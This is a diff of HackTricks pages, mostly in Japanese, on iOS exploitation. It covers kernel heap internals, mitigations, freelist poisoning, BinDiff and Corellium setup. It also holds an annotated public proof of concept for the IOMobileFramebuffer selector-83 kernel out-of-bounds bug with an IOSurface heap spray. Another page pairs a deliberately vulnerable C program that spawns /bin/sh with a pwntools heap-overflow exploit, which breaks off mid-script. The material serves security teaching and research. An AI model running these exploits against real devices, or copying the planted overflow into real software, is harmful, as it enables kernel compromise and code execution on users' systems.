ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Opening the right user client**
- `get_appleclcd_uc()`**AppleCLCD** サービスを見つけ、**user client type 2** を開く。AppleCLCD と IOMobileFramebuffer は同じ external-methods テーブルを共有しておりtype 2 は **selector 83**(脆弱なメソッド)を公開している。**これはバグへの入口です。** E_POC/)
**Why 83 matters:** the decompiled path is:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()`**`IOSurfaceRootUserClient`** を使って **多数の IOSurface を作成**し、**小さな値を spray**`s_set_value` スタイル)する。これによりカーネル近傍のヒープが **有効な IOSurface オブジェクトへのポインタで埋められる。**
- **Goal:** selector 83 が正規のテーブルを越えて読み込むと、その **OOB スロットにはあなたの実際のIOSurface へのポインタが入っている可能性が高く**、その後の dereference は **クラッシュせず成功する**。IOSurface は古典的でよく文書化されたカーネル spray primitive で、Saar の投稿はこのエクスプロイトフローで使用される **create / set_value / lookup** メソッドを明確に列挙している。
3. **The "offset/8" trick (what that index really is)**
- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`.
- **Why divide by 8?** カーネルは **`base + index*8`** を使って読み取る **ポインタサイズのスロット** を計算する。つまりバイトオフセットではなく **「スロット番号 N」** を選んでいる。64-bit ではスロットは **8 バイト**
- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.**
4. **What selector 83 returns (this is the subtle part)**
- The call is:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Internally, after the OOB pointer fetch, the driver calls\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation.
**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like:
- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and
- **`s_create_port_from_surface` (method 35)** if you need the inverse.\
Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## 参考文献
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,269 @@
# iOS のエクスプロイト
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** は、iOS 上で実行可能なすべてのコードアプリ、ライブラリ、extension など)に対して Apple 発行の証明書で暗号的に署名することを要求する仕組みです。コードがロードされると、iOS はデジタル署名を Apple の信頼されたルートと照合します。署名が無効、欠落、または改変されている場合、OS は実行を拒否します。これにより、攻撃者が正規アプリに悪意のあるコードを注入したり、署名されていないバイナリを実行したりすることが防がれ、任意または改ざんされたコード実行に依存する多くのエクスプロイトチェーンが阻止されます。
- **CoreTrust** はランタイムでのコード署名を強制する iOS のサブシステムです。キャッシュされた信頼ストアに依存せず Apple のルート証明書を直接用いて署名を検証するため、Apple によって署名された(または有効な entitlements を持つバイナリのみが実行可能になります。CoreTrust により、インストール後にアプリが改ざんされたり、システムライブラリが変更されたり、未署名コードをロードしようとする試みがあっても、正しく署名されていなければ実行はブロックされます。この厳格な強制により、古い iOS バージョンで弱い、または回避可能だった署名チェックを突く多くのポストエクスプロイト経路が閉じられます。
- **Data Execution Prevention (DEP)** は、明示的にコードを含む場合を除いてメモリ領域を実行不可としてマークします。これにより、攻撃者がデータ領域(スタックやヒープなど)に shellcode を注入して実行することが防がれ、ROPReturn-Oriented Programmingのようなより複雑な技術に頼らざるを得なくなります。
- **ASLR (Address Space Layout Randomization)** は、コード、ライブラリ、スタック、ヒープのメモリアドレスを実行ごとにランダム化します。これにより、攻撃者が有用な命令やガジェットの位置を予測することが難しくなり、固定メモリレイアウトに依存する多くのエクスプロイトチェーンが破綻します。
- **KASLR (Kernel ASLR)** は同じランダム化の概念を iOS カーネルに適用します。各ブート時にカーネルのベースアドレスをシャッフルすることで、攻撃者がカーネル関数や構造体の位置を確実に特定することを防ぎ、フルシステム制御を狙うカーネルレベルのエクスプロイトの難易度を上げます。
- **Kernel Patch Protection (KPP)**iOS では **AMCC (Apple Mobile File Integrity)** とも呼ばれる)は、カーネルのコードページが変更されていないかを継続的に監視します。もしカーネル関数をパッチしたり悪意あるコードを挿入したりするような改ざんが検出されると、デバイスは即座に panic を起こして再起動します。この保護により、持続的なカーネルエクスプロイトは非常に困難になります。攻撃者が単純にカーネル命令をフックやパッチするだけではシステムクラッシュを招くためです。
- **Kernel Text Readonly Region (KTRR)** は iOS デバイスに導入されたハードウェアベースのセキュリティ機能です。CPU のメモリコントローラを用いてカーネルのコードtextセクションをブート後に恒久的に読み取り専用としてマークします。一度ロックされると、カーネル自身でさえもこのメモリ領域を変更できません。これにより、攻撃者や特権コードでさえランタイムでカーネル命令をパッチすることができなくなり、カーネルコードを直接改変することで成立していた多くのエクスプロイト群が防がれます。
- **Pointer Authentication Codes (PAC)** は、未使用ビットに埋め込まれた暗号署名を用いてポインタの整合性を使用前に検証します。ポインタリターンアドレスや関数ポインタなどが作成されると、CPU は秘密鍵でそれに署名し、参照する前に署名を検証します。ポインタが改ざんされていれば検証は失敗し、実行は停止します。これにより、攻撃者がメモリ破壊バグで偽造したり再利用したりすることが困難になり、ROP や JOP のような技術の確実な実行が難しくなります。
- **Privilege Access never (PAN)** はハードウェア機能で、カーネル特権モードが明示的にアクセスを許可しない限りユーザ空間メモリに直接アクセスすることを防ぎます。これにより、カーネルコード実行を獲得した攻撃者がユーザメモリを簡単に読み書きして権限を昇格させたり機密データを盗んだりすることが阻止されます。厳格な分離を強制することで、PAN はカーネルエクスプロイトの影響を低減し、多くの一般的な権限昇格手法をブロックします。
- **Page Protection Layer (PPL)** は、特にコード署名や entitlements に関連する重要なカーネル管理下のメモリ領域を保護する iOS のセキュリティ機構です。MMUMemory Management Unitと追加のチェックを用いて厳格な書き込み保護を強制し、特権のあるカーネルコードであっても敏感なページを恣意的に変更できないようにします。これによりカーネルレベルの実行を獲得した攻撃者でもセキュリティに重要な構造体を改ざんすることが難しくなり、持続性やコード署名回避が著しく困難になります。
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
カーネルは固定サイズの「zone」に分割された**zone allocator**`kalloc`)を使用していました。
各 zone は単一のサイズクラスの割り当てのみを格納します。
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | 非常に小さなカーネル構造体、ポインタ。 |
| `default.kalloc.32` | 32 bytes | 小さな構造体、オブジェクトヘッダ。 |
| `default.kalloc.64` | 64 bytes | IPC メッセージ、小さなカーネルバッファ。 |
| `default.kalloc.128` | 128 bytes | `OSObject` の一部のような中程度のオブジェクト。 |
| `default.kalloc.256` | 256 bytes | 大きめの IPC メッセージ、配列、デバイス構造体。 |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | 大きな構造体、IOSurface/グラフィックスのメタデータ。 |
How it worked:
- 各割り当て要求は最も近い zone サイズに**切り上げ**られました。
50 バイトの要求は `kalloc.64` zone に入ります)。
- 各 zone のメモリは **freelist** に保持されていました — カーネルによって解放されたチャンクはその zone に戻ります。
- もし 64 バイトのバッファをオーバーフローすると、同一 zone 内の**次のオブジェクト**を上書きすることになります。
これが、なぜ **heap spraying / feng shui** が非常に効果的だったかの理由です:同じサイズクラスの割り当てを大量に撒くことで、オブジェクトの隣接関係を予測できたのです。
### The freelist
各 kalloc zone の内部では、解放されたオブジェクトはシステムに直接返されず、利用可能なチャンクのリンクリストである freelist に入れられていました。
- チャンクが解放されると、カーネルはそのチャンクの先頭にポインタを書き込み → 同じ zone 内の次の free チャンクのアドレスを格納します。
- zone は最初の free チャンクを指す HEAD ポインタを保持していました。
- 割り当ては常に現在の HEAD を使用していました:
1. HEAD をポップ(そのメモリを呼び出し元に返す)。
2. HEAD = HEAD->next に更新(解放されたチャンクのヘッダに格納されている)。
- 解放はチャンクを戻す動作でした:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
つまり freelist は、解放されたメモリ自身の中に構築された単なるリンクリストでした。
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### freelist を悪用する
free chunk の最初の8バイトが freelist pointer に相当するため、攻撃者はそれを改ざんできる:
1. **Heap overflow** により隣接する freed chunk に侵入 → “next” pointer を上書きする。
2. **Use-after-free** で freed object に書き込み → “next” pointer を上書きする。
次にそのサイズの allocation が行われると:
- allocator は改ざんされた chunk を pop する。
- attacker-supplied “next” pointer を辿る。
- 任意のメモリへの pointer を返し、fake object primitives や targeted overwrite を可能にする。
Visual example of freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
**Steps:**
1. Spray allocations (fill the holes)
- Over time, the kernel heap gets fragmented: some zones have holes where old
objects were freed.
- The attacker first makes lots of dummy allocations to fill these gaps, so
the heap becomes “packed” and predictable.
2. Force new pages
- Once the holes are filled, the next allocations must come from new pages
added to the zone.
- Fresh pages mean objects will be clustered together, not scattered across
old fragmented memory.
- This gives the attacker much better control of neighbors.
3. Place attacker objects
- The attacker now sprays again, creating lots of attacker-controlled objects
in those new pages.
- These objects are predictable in size and placement (since they all belong
to the same zone).
4. Free a controlled object (make a gap)
- The attacker deliberately frees one of their own objects.
- This creates a “hole” in the heap, which the allocator will later reuse for
the next allocation of that size.
5. Victim object lands in the hole
- The attacker triggers the kernel to allocate the victim object (the one
they want to corrupt).
- Since the hole is the first available slot in the freelist, the victim is
placed exactly where the attacker freed their object.
6. Overflow / UAF into victim
- Now the attacker has attacker-controlled objects around the victim.
- By overflowing from one of their own objects (or reusing a freed one), they
can reliably overwrite the victims memory fields with chosen values.
**Why it works**:
- Zone allocator predictability: allocations of the same size always come from
the same zone.
- Freelist behavior: new allocations reuse the most recently freed chunk first.
- Heap sprays: attacker fills memory with predictable content and controls layout.
- End result: attacker controls where the victim object lands and what data sits
next to it.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple hardened the allocator and made **heap grooming much harder**:
### 1. From Classic kalloc to kalloc_type
- **Before**: a single `kalloc.<size>` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects.
- **Now**:
- Kernel objects are allocated from **typed zones** (`kalloc_type`).
- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if theyre the same size.
- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time.
An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size.
### 2. Slabs and Per-CPU Caches
- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone).
- Each zone has a **per-CPU cache** to reduce contention.
- Allocation path:
1. Try per-CPU cache.
2. If empty, pull from the global freelist.
3. If freelist is empty, allocate a new slab (one or more pages).
- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs caches.
### 3. Randomization inside zones
- Within a zone, freed elements are not handed back in simple FIFO/LIFO order.
- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14).
- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie.
- This prevents attackers from forging a fake freelist pointer if they gain a write primitive.
- Some allocations are **randomized in their placement within a slab**, so spraying doesnt guarantee adjacency.
### 4. Guarded Allocations
- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**.
- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects.
- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption.
### 5. Page Protection Layer (PPL) and SPTM
- Even if you control a freed object, you cant modify all of kernel memory:
- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself.
- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- These hardware-enforced layers mean attackers cant escalate from a single heap corruption to arbitrary patching of critical security structures.
### 6. Large Allocations
- Not all allocations go through `kalloc_type`.
- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations.
- These are less predictable, but also less exploitable, since they dont share slabs with other objects.
### 7. Allocation Patterns Attackers Target
Even with these protections, attackers still look for:
- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free.
- **Objects with function pointers (vtables)**: corrupting one still yields control flow.
- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel.
But — unlike before — you cant just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
### Example: Allocation Flow in Modern Heap
Suppose userspace calls into IOKit to allocate an `OSData` object:
1. **Type lookup**`OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
2. Check per-CPU cache for free elements.
- If found → return one.
- If empty → go to global freelist.
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
3. Return chunk to caller.
**Freelist pointer protection**:
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
- Overwriting that field with attacker data wont work unless you know the key.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# iOS Corellium に接続する方法
{{#include ../../banners/hacktricks-training.md}}
## **前提条件**
- Corellium の iOS VMjailbroken 可)。このガイドでは Corellium へのアクセスがあることを前提とします。
- ローカルツール: **ssh/scp**.
- (オプション)パスワードレスログイン用に **SSH keys** を Corellium プロジェクトに追加しておく。
## **ローカルホストから iPhone VM に接続する方法**
### A) **Quick Connect (no VPN)**
0) **`/admin/projects`** に ssh key を追加する(推奨)。
1) デバイスページを開く → **Connect**
2) Corellium に表示される **Quick Connect SSH command** をコピーして端末に貼り付ける。
3) パスワードを入力するか、推奨SSH key を使用する。
### B) **VPN → direct SSH**
0) **`/admin/projects`** に ssh key を追加する(推奨)。
1) デバイスページ → **CONNECT****VPN**`.ovpn` をダウンロードし、TAP モードをサポートする任意の VPN クライアントで接続する。(問題がある場合は [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) を確認)
2) VM の **10.11.x.x** アドレスに SSH で接続:
```bash
ssh root@10.11.1.1
```
## **ネイティブバイナリをアップロードして実行する**
### 2.1 **アップロード**
- もし Quick Connect が host/port を教えてくれた場合:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- VPN (10.11.x.x) を使用している場合:
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **iOSアプリをアップロードインストール (.ipa)**
### パス A — **Web UI最速**
1) Deviceページ → **Apps** タブ → **Install App**`.ipa` を選択。
2) 同じタブから **launch/kill/uninstall** が可能。
### パス B — **Scripted via Corellium Agent**
1) API Agent を使って **upload** し、続けて **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Non-jailbroken (適切な署名 / Sideloadly)**
- プロビジョニングプロファイルがない場合、**Sideloadly** を使って Apple ID で再署名するか、Xcode にサインインしてください。
- また、**USBFlux** を使って VM を Xcode から利用できるようにすることもできます§5参照
- SSH がなくても素早くログやコマンドを確認したい場合は、UI のデバイス **Console** を使用してください。
## **補足**
- **Port-forwarding** (他のツールから VM をローカルのように扱えるようにする):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: デバイスページ下部に表示される **LLDB/GDB stub** アドレスを使用してください (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: VM を **Xcode/Sideloadly** にケーブル接続されたデバイスのように認識させます。
## **よくある落とし穴**
- **Proper signing****non-jailbroken** デバイスで必要です。unsigned IPAs は起動しません。
- **Quick Connect vs VPN**: Quick Connect が最も簡単です。デバイスをローカルネットワーク上で使う必要がある場合(例: ローカルプロキシ/ツール)は **VPN** を使用してください。
- Corellium デバイスには **App Store** がありません。自分で (re)signed IPAs を用意してください。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS で Corellium に接続する方法
{{#include ../../banners/hacktricks-training.md}}
## 脆弱性のあるコード
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
次のコマンドでコンパイルする:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> このエクスプロイトは環境変数 `MallocNanoZone=0` を設定して NanoZone を無効化しています。これは小さいサイズで `malloc` を呼び出したときに隣接する割り当てを得るために必要です。これを行わないと、異なる `malloc` は別々のゾーンに割り当てられ、隣接しなくなるため、overflow は期待どおりに動作しません。
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
